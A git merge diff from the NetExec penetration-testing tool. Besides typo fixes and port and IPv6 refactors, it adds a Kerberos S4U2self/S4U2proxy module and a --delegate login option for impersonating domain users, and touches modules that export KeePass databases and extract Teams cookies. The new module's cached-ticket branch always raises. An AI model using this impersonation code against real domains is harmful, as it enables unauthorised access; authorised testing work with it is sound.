Merge branch 'develop' into neff-bh-pc

main
Alexander Neff 2023-11-03 17:25:45 -04:00
commit 4f7264312f
23 changed files with 406 additions and 82 deletions

View File

@ -30,7 +30,7 @@ If applicable, add screenshots to help explain your problem.
**NetExec info**
- OS: [e.g. Kali]
- Version of nxc [e.g. v1.5.2]
- Version of nxc: [e.g. v1.5.2]
- Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
**Additional context**

View File

@ -1,12 +1,10 @@
import random
import socket
from socket import AF_INET, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME
from socket import getaddrinfo
from os.path import isfile
from threading import BoundedSemaphore
from functools import wraps
from time import sleep
from ipaddress import ip_address
from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
@ -22,15 +20,22 @@ user_failed_logins = {}
def gethost_addrinfo(hostname):
try:
for res in getaddrinfo(hostname, None, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, socktype, proto, canonname, sa = res
host = canonname if ip_address(sa[0]).is_link_local else sa[0]
except socket.gaierror:
for res in getaddrinfo(hostname, None, AF_INET, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, socktype, proto, canonname, sa = res
host = sa[0] if sa[0] else canonname
return host
is_ipv6 = False
is_link_local_ipv6 = False
address_info = {"AF_INET6": "", "AF_INET": ""}
for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
# IPv4 preferred
if address_info["AF_INET"]:
host = address_info["AF_INET"]
else:
is_ipv6 = True
host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
return host, is_ipv6, is_link_local_ipv6
def requires_admin(func):
@ -78,6 +83,7 @@ class connection:
self.args = args
self.db = db
self.hostname = host
self.port = self.args.port
self.conn = None
self.admin_privs = False
self.password = ""
@ -91,10 +97,10 @@ class connection:
self.logger = nxc_logger
try:
self.host = gethost_addrinfo(self.hostname)
self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
if self.args.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={ 'True' if self.args.kerberos else 'False' }")
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
except Exception as e:
self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
return
@ -389,7 +395,8 @@ class connection:
return False
if self.args.continue_on_success and owned:
return False
if hasattr(self.args, "delegate") and self.args.delegate:
self.args.kerberos = True
with sem:
if cred_type == "plaintext":
if self.args.kerberos:

View File

@ -42,25 +42,25 @@ def add_user_bh(user, domain, logger, config):
try:
with driver.session().begin_transaction() as tx:
for info in users_owned:
distinguished_name = "".join(["DC=" + dc + "," for dc in info["domain"].split(".")]).rstrip(",")
domain_query = tx.run(f'MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH "{distinguished_name}" RETURN d').data()
distinguished_name = "".join([f"DC={dc}," for dc in info["domain"].split(".")]).rstrip(",")
domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
if not domain_query:
raise Exception("Domain not found in bloodhound")
else:
domain = domain_query[0]["d"].get("name")
if info["username"][-1] == "$":
user_owned = info["username"][:-1] + "." + domain
user_owned = f"{info['username'][:-1]}.{domain}"
account_type = "Computer"
else:
user_owned = info["username"] + "@" + domain
user_owned = f"{info['username']}@{domain}"
account_type = "User"
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c')
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c")
if result.data()[0]["c"].get("owned") in (False, None):
logger.debug(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound")
except AuthError:
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")

View File

@ -197,7 +197,7 @@ class NXCModule:
"""
name = "daclread"
description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be carefull, this module cannot read the DACLS recursively, more explains in the options."
description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be careful, this module cannot read the DACLS recursively, more explains in the options."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
@ -208,11 +208,11 @@ class NXCModule:
def options(self, context, module_options):
"""
Be carefull, this module cannot read the DACLS recursively.
Be careful, this module cannot read the DACLS recursively.
For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
TARGET The objects that we want to read or backup the DACLs, sepcified by its SamAccountName
TARGET_DN The object that we want to read or backup the DACL, specified by its DN (usefull to target the domain itself)
TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName
TARGET_DN The object that we want to read or backup the DACL, specified by its DN (useful to target the domain itself)
PRINCIPAL The trustee that we want to filter on
ACTION The action to realise on the DACL (read, backup)
ACE_TYPE The type of ACE to read (Allowed or Denied)
@ -271,8 +271,8 @@ class NXCModule:
self.filename = None
def on_login(self, context, connection):
"""On a successful LDAP login we perform a search for the targets' SID, their Security Decriptors and the principal's SID if there is one specified"""
context.log.highlight("Be carefull, this module cannot read the DACLS recursively.")
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldapConnection._baseDN
self.ldap_session = connection.ldapConnection
@ -292,7 +292,7 @@ class NXCModule:
context.log.fail(f"Principal SID not found in LDAP ({_lookedup_principal})")
sys.exit(1)
# Searching for the targets SID and their Security Decriptors
# Searching for the targets SID and their Security Descriptors
# If there is only one target
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
# Searching for target account with its security descriptor
@ -383,7 +383,7 @@ class NXCModule:
context.log.fail(f"Principal not found in LDAP ({_lookedup_principal}), probably an LDAP session issue.")
sys.exit(0)
# Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName
# Attempts to retrieve the SID and Distinguisehd Name from the sAMAccountName
# Not used for the moment
# - samname : a sAMAccountName
def get_user_info(self, context, samname):

View File

@ -39,9 +39,9 @@ class NXCModule:
# These are for more critical error handling
context.log.error("I'm doing something") # This will not be printed in the module context and should only be used for critical errors (e.g. a required python file is missing)
try:
raise Exception("Exception that might occure")
raise Exception("Exception that might have occurred")
except Exception as e:
context.log.exception(f"Exception occured: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors
context.log.exception(f"Exception occurred: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors
def on_admin_login(self, context, connection):
"""Concurrent.

View File

@ -74,7 +74,7 @@ class NXCModule:
USER Targeted user running KeePass, used to restart the appropriate process
(used by RESTART action)
EXPORT_NAME Name fo the database export file, default: export.xml
EXPORT_NAME Name of the database export file, default: export.xml
EXPORT_PATH Path where to export the KeePass database in cleartext
default: C:\\Users\\Public, %APPDATA% works well too for user permissions

View File

@ -54,10 +54,10 @@ class NXCModule:
# Conduct a bind to LDAPS with channel binding supported
# but intentionally miscalculated. In the case that and
# LDAPS bind has without channel binding supported has occured,
# LDAPS bind has without channel binding supported has occurred,
# you can determine whether the policy is set to "never" or
# if it's set to "when supported" based on the potential
# error recieved from the bind attempt.
# error received from the bind attempt.
async def run_ldaps_withEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()

View File

@ -52,7 +52,7 @@ def new_record(rtype, serial):
nr["Type"] = rtype
nr["Serial"] = serial
nr["TtlSeconds"] = 180
# From authoritive zone
# From authoritative zone
nr["Rank"] = 240
return nr

View File

@ -56,7 +56,7 @@ class NXCModule:
connection.hash,
self.logger,
connection.args.get_output_tries,
"C$", # This one shouldn't be hardcoded but I don't know where to retrive the info
"C$", # This one shouldn't be hardcoded but I don't know where to retrieve the info
)
self.logger.display(f"Executing {self.cmd} as {self.user}")
@ -66,7 +66,7 @@ class NXCModule:
if not isinstance(output, str):
output = output.decode(connection.args.codec)
except UnicodeDecodeError:
# Required to decode specific french caracters otherwise it'll print b"<result>"
# Required to decode specific French characters otherwise it'll print b"<result>"
output = output.decode("cp437")
if output:
self.logger.highlight(output)

View File

@ -44,7 +44,7 @@ class NXCModule:
if row is None:
context.log.fail("No " + name + " present in Microsoft Teams Cookies database")
else:
context.log.success("Succesfully extracted " + name + ": ")
context.log.success("Successfully extracted " + name + ": ")
context.log.success(row[0])
conn.close()
except Exception as e:

View File

@ -28,10 +28,10 @@ class NXCModule:
def options(self, context, module_options):
"""
LDAP_FILTER Custom LDAP search filter (fully replaces the default search)
DESC_FILTER An additional seach filter for descriptions (supports wildcard *)
DESC_INVERT An additional seach filter for descriptions (shows non matching)
USER_FILTER An additional seach filter for usernames (supports wildcard *)
USER_INVERT An additional seach filter for usernames (shows non matching)
DESC_FILTER An additional search filter for descriptions (supports wildcard *)
DESC_INVERT An additional search filter for descriptions (shows non matching)
USER_FILTER An additional search filter for usernames (supports wildcard *)
USER_INVERT An additional search filter for usernames (shows non matching)
KEYWORDS Use a custom set of keywords (comma separated)
ADD_KEYWORDS Add additional keywords to the default set (comma separated)
"""

View File

@ -26,7 +26,7 @@ from rich.progress import Progress
import platform
# Increase file_limit to prevent error "Too many open files"
if platform != "Windows":
if platform.system() != "Windows":
import resource
file_limit = list(resource.getrlimit(resource.RLIMIT_NOFILE))

View File

@ -17,7 +17,7 @@ class ftp(connection):
extra={
"protocol": "FTP",
"host": self.host,
"port": self.args.port,
"port": self.port,
"hostname": self.hostname,
}
)
@ -41,7 +41,7 @@ class ftp(connection):
def create_conn_obj(self):
self.conn = FTP()
try:
self.conn.connect(host=self.host, port=self.args.port)
self.conn.connect(host=self.host, port=self.port)
except Exception as e:
self.logger.debug(f"Error connecting to FTP host: {e}")
return False
@ -61,8 +61,8 @@ class ftp(connection):
# 230 is "User logged in, proceed" response, ftplib raises an exception on failed login
if "230" in resp:
self.logger.debug(f"Host: {self.host} Port: {self.args.port}")
self.db.add_host(self.host, self.args.port, self.remote_version)
self.logger.debug(f"Host: {self.host} Port: {self.port}")
self.db.add_host(self.host, self.port, self.remote_version)
cred_id = self.db.add_credential(username, password)

View File

@ -154,14 +154,14 @@ class ldap(connection):
extra={
"protocol": "LDAP",
"host": self.host,
"port": self.args.port,
"port": self.port,
"hostname": self.hostname,
}
)
def get_ldap_info(self, host):
try:
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{host}"
self.logger.info(f"Connecting to {ldap_url} with no baseDN")
try:
@ -349,7 +349,7 @@ class ldap(connection):
try:
# Connect to LDAP
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
@ -374,7 +374,7 @@ class ldap(connection):
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
self.logger.success(out)
if not self.args.local_auth:
@ -476,7 +476,7 @@ class ldap(connection):
try:
# Connect to LDAP
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
@ -487,7 +487,7 @@ class ldap(connection):
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
self.logger.success(out)
if not self.args.local_auth:
@ -571,7 +571,7 @@ class ldap(connection):
try:
# Connect to LDAP
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
@ -581,7 +581,7 @@ class ldap(connection):
# Prepare success credential text
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
self.logger.success(out)
if not self.args.local_auth:
@ -1331,7 +1331,7 @@ class ldap(connection):
self.logger.highlight("Using kerberos auth from ccache")
timestamp = datetime.now().strftime("%Y-%m-%d_%H%M%S") + "_"
bloodhound = BloodHound(ad, self.hostname, self.host, self.args.port)
bloodhound = BloodHound(ad, self.hostname, self.host, self.port)
bloodhound.connect()
bloodhound.run(

View File

@ -52,7 +52,7 @@ class mssql(connection):
extra={
"protocol": "MSSQL",
"host": self.host,
"port": self.args.port,
"port": self.port,
"hostname": "None",
}
)
@ -112,7 +112,7 @@ class mssql(connection):
def create_conn_obj(self):
try:
self.conn = tds.MSSQL(self.host, self.args.port)
self.conn = tds.MSSQL(self.host, self.port)
self.conn.connect()
except OSError as e:
self.logger.debug(f"Error connecting to MSSQL: {e}")

View File

@ -91,7 +91,7 @@ class rdp(connection):
extra={
"protocol": "RDP",
"host": self.host,
"port": self.args.port,
"port": self.port,
"hostname": self.hostname,
}
)
@ -105,7 +105,7 @@ class rdp(connection):
return True
def create_conn_obj(self):
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.args.port, timeout=self.args.rdp_timeout)
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS)
self.check_nla()
@ -147,7 +147,7 @@ class rdp(connection):
self.target = RDPTarget(
ip=self.host,
hostname=self.hostname,
port=self.args.port,
port=self.port,
domain=self.domain,
dc_ip=self.domain,
timeout=self.args.rdp_timeout,

View File

@ -23,7 +23,8 @@ from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
from impacket.krb5.kerberosv5 import SessionKeyDecryptionError
from impacket.krb5.types import KerberosException
from impacket.krb5.types import KerberosException, Principal
from impacket.krb5 import constants
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
@ -33,6 +34,7 @@ from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string, validate_ntlm
from nxc.logger import NXCAdapter
from nxc.protocols.smb.firefox import FirefoxTriage
from nxc.protocols.smb.kerberos import kerberos_login_with_S4U
from nxc.servers.smb import NXCSMBServer
from nxc.protocols.smb.wmiexec import WMIEXEC
from nxc.protocols.smb.atexec import TSCH_EXEC
@ -169,7 +171,7 @@ class smb(connection):
extra={
"protocol": "SMB",
"host": self.host,
"port": self.args.port,
"port": self.port,
"hostname": self.hostname,
}
)
@ -382,22 +384,32 @@ class smb(connection):
kerb_pass = ""
self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}")
self.conn.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache)
tgs = None
if self.args.delegate:
kerb_pass = ""
self.username = self.args.delegate
serverName = Principal(f"cifs/{self.hostname}", type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy)
self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
self.check_if_admin()
if username == "":
self.username = self.conn.getCredentials()[0]
else:
elif not self.args.delegate:
self.username = username
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
if self.args.delegate:
used_ccache = f" through S4U with {username}"
else:
self.plaintext_login(self.hostname, username, password)
return True
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth:
if not self.args.local_auth and not self.args.delegate:
add_user_bh(self.username, domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@ -406,6 +418,7 @@ class smb(connection):
if self.args.continue_on_success and self.signing:
with contextlib.suppress(Exception):
self.conn.logoff()
self.create_conn_obj()
return True
@ -421,10 +434,14 @@ class smb(connection):
return False
except OSError as e:
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
if self.args.delegate:
used_ccache = f" through S4U with {username}"
self.logger.fail(f"{domain}\\{self.username}{used_ccache} {e}")
except (SessionError, Exception) as e:
error, desc = e.getErrorString()
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
if self.args.delegate:
used_ccache = f" through S4U with {username}"
self.logger.fail(
f"{domain}\\{self.username}{used_ccache} {error} {f'({desc})' if self.args.verbose else ''}",
color="magenta" if error in smb_error_status else "red",
@ -569,7 +586,7 @@ class smb(connection):
kdc if kdc else self.host,
kdc if kdc else self.host,
None,
self.args.port,
self.port,
preferredDialect=SMB_DIALECT,
timeout=self.args.smb_timeout,
)
@ -590,7 +607,7 @@ class smb(connection):
kdc if kdc else self.host,
kdc if kdc else self.host,
None,
self.args.port,
self.port,
timeout=self.args.smb_timeout,
)
self.smbv1 = False
@ -722,7 +739,7 @@ class smb(connection):
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.smb_share_name,
self.conn,
self.args.port,
self.port,
self.username,
self.password,
self.domain,
@ -731,7 +748,7 @@ class smb(connection):
self.kdcHost,
self.hash,
self.args.share,
self.args.port,
self.port,
self.logger,
self.args.get_output_tries
)
@ -1243,12 +1260,12 @@ class smb(connection):
try:
full_hostname = self.host if not self.kerberos else self.hostname + "." + self.domain
string_binding = KNOWN_PROTOCOLS[self.args.port]["bindstr"]
string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"]
logging.debug(f"StringBinding {string_binding}")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(self.args.port)
rpc_transport.set_dport(self.port)
if KNOWN_PROTOCOLS[self.args.port]["set_host"]:
if KNOWN_PROTOCOLS[self.port]["set_host"]:
rpc_transport.setRemoteHost(full_hostname)
if hasattr(rpc_transport, "set_credentials"):

View File

@ -0,0 +1,278 @@
import datetime
import struct
import random
from six import b
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, \
seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1, EncTGSRepPart, \
PA_PAC_OPTIONS
from impacket.krb5.types import Principal, KerberosTime, Ticket
from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5
from impacket.krb5 import constants
from nxc.logger import nxc_logger
def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy=False):
my_tgt = None
if use_cache:
domain, _, tgt, _ = CCache.parseFile(domain, username, f"cifs/{hostname}")
if my_tgt is None:
raise
my_tgt = tgt["KDC_REP"]
cipher = tgt["cipher"]
session_key = tgt["sessionKey"]
if my_tgt is None:
principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
nxc_logger.debug("Getting TGT for user")
tgt, cipher, _, session_key = getKerberosTGT(principal, password, domain, lmhash, nthash, aesKey, kdcHost)
my_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0]
decoded_tgt = my_tgt
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decoded_tgt["ticket"])
ap_req = AP_REQ()
ap_req["pvno"] = 5
ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
ap_req["ap-options"] = constants.encodeFlags(opts)
seq_set(ap_req, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decoded_tgt["crealm"])
client_name = Principal()
client_name.from_asn1(decoded_tgt, "crealm", "cname")
seq_set(authenticator, "cname", client_name.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
encoded_authenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encrypted_encoded_authenticator = cipher.encrypt(session_key, 7, encoded_authenticator, None)
ap_req["authenticator"] = noValue
ap_req["authenticator"]["etype"] = cipher.enctype
ap_req["authenticator"]["cipher"] = encrypted_encoded_authenticator
encoded_ap_req = encoder.encode(ap_req)
tgs_req = TGS_REQ()
tgs_req["pvno"] = 5
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgs_req["padata"] = noValue
tgs_req["padata"][0] = noValue
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgs_req["padata"][0]["padata-value"] = encoded_ap_req
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
client_name = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
s4u_byte_array = struct.pack("<I", constants.PrincipalNameType.NT_PRINCIPAL.value)
s4u_byte_array += b(impersonate) + b(domain) + b"Kerberos"
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array s4u_byte_array.
checksum = _HMACMD5.checksum(session_key, 17, s4u_byte_array)
pa_fo_user_enc = PA_FOR_USER_ENC()
seq_set(pa_fo_user_enc, "userName", client_name.components_to_asn1)
pa_fo_user_enc["userRealm"] = domain
pa_fo_user_enc["cksum"] = noValue
pa_fo_user_enc["cksum"]["cksumtype"] = int(constants.ChecksumTypes.hmac_md5.value)
pa_fo_user_enc["cksum"]["checksum"] = checksum
pa_fo_user_enc["auth-package"] = "Kerberos"
encoded_pa_for_user_enc = encoder.encode(pa_fo_user_enc)
tgs_req["padata"][1] = noValue
tgs_req["padata"][1]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgs_req["padata"][1]["padata-value"] = encoded_pa_for_user_enc
req_body = seq_set(tgs_req, "req-body")
opts = []
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
req_body["kdc-options"] = constants.encodeFlags(opts)
server_name = Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(req_body, "sname", server_name.components_to_asn1)
req_body["realm"] = str(decoded_tgt["crealm"])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
req_body["till"] = KerberosTime.to_asn1(now)
req_body["nonce"] = random.getrandbits(31)
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
nxc_logger.info("Requesting S4U2self")
message = encoder.encode(tgs_req)
r = sendReceive(message, domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
if no_s4u2proxy:
cipher_text = tgs["enc-part"]["cipher"]
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plaintext = cipher.decrypt(session_key, 8, cipher_text)
enc_tgs_rep_part = decoder.decode(plaintext, asn1Spec=EncTGSRepPart())[0]
new_session_key = Key(enc_tgs_rep_part["key"]["keytype"], enc_tgs_rep_part["key"]["keyvalue"].asOctets())
# Creating new cipher based on received keytype
cipher = _enctype_table[enc_tgs_rep_part["key"]["keytype"]]
tgs_formated = {}
tgs_formated["KDC_REP"] = r
tgs_formated["cipher"] = cipher
tgs_formated["sessionKey"] = new_session_key
return tgs_formated
################################################################################
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
# So here I have a ST for me.. I now want a ST for another service
# Extract the ticket from the TGT
ticket_tgt = Ticket()
ticket_tgt.from_asn1(decoded_tgt["ticket"])
# Get the service ticket
ticket = Ticket()
ticket.from_asn1(tgs["ticket"])
ap_req = AP_REQ()
ap_req["pvno"] = 5
ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
ap_req["ap-options"] = constants.encodeFlags(opts)
seq_set(ap_req, "ticket", ticket_tgt.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decoded_tgt["crealm"])
client_name = Principal()
client_name.from_asn1(decoded_tgt, "crealm", "cname")
seq_set(authenticator, "cname", client_name.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
encoded_authenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encrypted_encoded_authenticator = cipher.encrypt(session_key, 7, encoded_authenticator, None)
ap_req["authenticator"] = noValue
ap_req["authenticator"]["etype"] = cipher.enctype
ap_req["authenticator"]["cipher"] = encrypted_encoded_authenticator
encoded_ap_req = encoder.encode(ap_req)
tgs_req = TGS_REQ()
tgs_req["pvno"] = 5
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgs_req["padata"] = noValue
tgs_req["padata"][0] = noValue
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgs_req["padata"][0]["padata-value"] = encoded_ap_req
# Add resource-based constrained delegation support
pa_pac_options = PA_PAC_OPTIONS()
pa_pac_options["flags"] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
tgs_req["padata"][1] = noValue
tgs_req["padata"][1]["padata-type"] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
tgs_req["padata"][1]["padata-value"] = encoder.encode(pa_pac_options)
req_body = seq_set(tgs_req, "req-body")
opts = []
# This specified we"re doing S4U
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
req_body["kdc-options"] = constants.encodeFlags(opts)
service2 = Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(req_body, "sname", service2.components_to_asn1)
req_body["realm"] = domain
my_ticket = ticket.to_asn1(TicketAsn1())
seq_set_iter(req_body, "additional-tickets", (my_ticket,))
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
req_body["till"] = KerberosTime.to_asn1(now)
req_body["nonce"] = random.getrandbits(31)
seq_set_iter(req_body, "etype",
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgs_req)
nxc_logger.info("Requesting S4U2Proxy")
r = sendReceive(message, domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipher_text = tgs["enc-part"]["cipher"]
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plaintext = cipher.decrypt(session_key, 8, cipher_text)
enc_tgs_rep_part = decoder.decode(plaintext, asn1Spec=EncTGSRepPart())[0]
new_session_key = Key(enc_tgs_rep_part["key"]["keytype"], enc_tgs_rep_part["key"]["keyvalue"].asOctets())
# Creating new cipher based on received keytype
cipher = _enctype_table[enc_tgs_rep_part["key"]["keytype"]]
tgs_formated = {}
tgs_formated["KDC_REP"] = r
tgs_formated["cipher"] = cipher
tgs_formated["sessionKey"] = new_session_key
return tgs_formated

View File

@ -1,6 +1,11 @@
from argparse import _StoreTrueAction
def proto_args(parser, std_parser, module_parser):
smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=[std_parser, module_parser])
